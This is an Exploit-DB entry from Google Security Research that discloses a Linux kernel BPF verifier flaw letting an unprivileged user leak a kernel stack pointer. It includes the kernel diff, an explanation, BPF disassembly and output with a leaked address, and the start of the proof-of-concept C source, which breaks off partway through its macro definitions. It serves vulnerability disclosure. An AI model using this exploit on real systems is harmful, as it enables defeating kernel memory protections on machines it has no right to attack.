Exploit-DB #45557
Description: Linux - Kernel Pointer Leak via BPF
Type: dos
Platform: linux
Date: 2018-10-08
Author: Google Security Research

Exploit:
/*
Commit 82abbf8d2fc46d79611ab58daa7c608df14bb3ee ("bpf: do not allow root to mangle valid pointers", first in v4.15) included the following snippet:

=========
@@ -2319,43 +2307,29 @@ static int adjust_reg_min_max_vals(struct bpf_verifier_env *env,
                if (src_reg->type != SCALAR_VALUE) {
                        if (dst_reg->type != SCALAR_VALUE) {
                                /* Combining two pointers by any ALU op yields
-                                * an arbitrary scalar.
+                                * an arbitrary scalar. Disallow all math except
+                                * pointer subtraction
                                 
-                               if (!env->allow_ptr_leaks) {
-                                       verbose(env, "R%d pointer %s pointer prohibited\n",
-                                               insn->dst_reg,
-                                               bpf_alu_string[opcode >> 4]);
-                                       return -EACCES;
+                               if (opcode == BPF_SUB){
+                                       mark_reg_unknown(env, regs, insn->dst_reg);
+                                       return 0;
                                }
-                               mark_reg_unknown(env, regs, insn->dst_reg);
-                               return 0;
+                               verbose(env, "R%d pointer %s pointer prohibited\n",
+                                       insn->dst_reg,
+                                       bpf_alu_string[opcode >> 4]);
+                               return -EACCES;
                        } else {
=========

This allows an unprivileged user to subtract any two values that don't have type SCALAR_VALUE, and obtain a result with type SCALAR_VALUE.
One obvious way in which this is dangerous is a subtraction between PTR_TO_STACK and PTR_TO_MAP_VALUE_OR_NULL: If the PTR_TO_MAP_VALUE_OR_NULL-typed value is NULL, then this directly leaks the kernel stack pointer.

I think that pointer-pointer subtractions should only be permitted when it can be proven that both pointers point into the same object.

I have attached a PoC. BPF disassembly and output:

==============
user@debian:~/bpf_ptrleak_nullsub$ gcc -o ptrleak_nullsub ptrleak_nullsub.c && ./ptrleak_nullsub
==========================
0: (18) r1 = 0x0
2: (bf) r2 = r10
3: (07) r2 += -4
4: (62) *(u32 *)(r2 +0) = 9
5: (85) call bpf_map_lookup_elem#1
6: (bf) r9 = r10
7: (1f) r9 -= r0
8: (18) r1 = 0x0
10: (bf) r2 = r10
11: (07) r2 += -4
12: (62) *(u32 *)(r2 +0) = 0
13: (85) call bpf_map_lookup_elem#1
14: (55) if r0 != 0x0 goto pc+1
 R0=inv0 R9=inv(id=0) R10=fp0,call_-1
15: (95) exit

from 14 to 16: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R9=inv(id=0) R10=fp0,call_-1
16: (7b) *(u64 *)(r0 +0) = r9
 R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R9=inv(id=0) R10=fp0,call_-1
17: (b7) r0 = 0
18: (95) exit
processed 17 insns (limit 131072), stack depth 4
==========================
leaked pointer: 0xffff9ec802103c78
user@debian:~/bpf_ptrleak_nullsub$
==============
*/

#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/socket.h>

#define GPLv2 "GPL v2"
#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))


/* registers */
/* caller-saved: r0..r5 */
#define BPF_REG_ARG1    BPF_REG_1
#define BPF_REG_ARG2    BPF_REG_2
#define BPF_REG_ARG3    BPF_REG_3
#define BPF_REG_ARG4    BPF_REG_4
#define BPF_REG_ARG5    BPF_REG_5
#define BPF_REG_CTX     BPF_REG_6
#define BPF_REG_FP      BPF_REG_10

#define BPF_FUNC_trace_printk 6

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)         \
  ((struct bpf_insn) {                          \
    .code  = BPF_LD | BPF_DW | BPF_IMM,         \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = (__u32) (IMM) }),                  \
  ((struct bpf_insn) {                          \
    .code  = 0, /* zero is reserved opcode */   \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = ((__u64) (IMM)) >> 32 })
#define BPF_LD_MAP_FD(DST, MAP_FD)              \
  BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_MOV64_REG(DST, SRC)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM)             \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,    \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF)        \
  ((struct bpf_insn) {                          \
    .code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = OFF,                               \
    .imm   = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM)         \
  ((struct bpf_insn) {                          \
    .code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = OFF,                               \
    .imm   = IMM })
#define BPF_EMIT_CALL(FUNC)                     \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_CALL,                \
    .dst_reg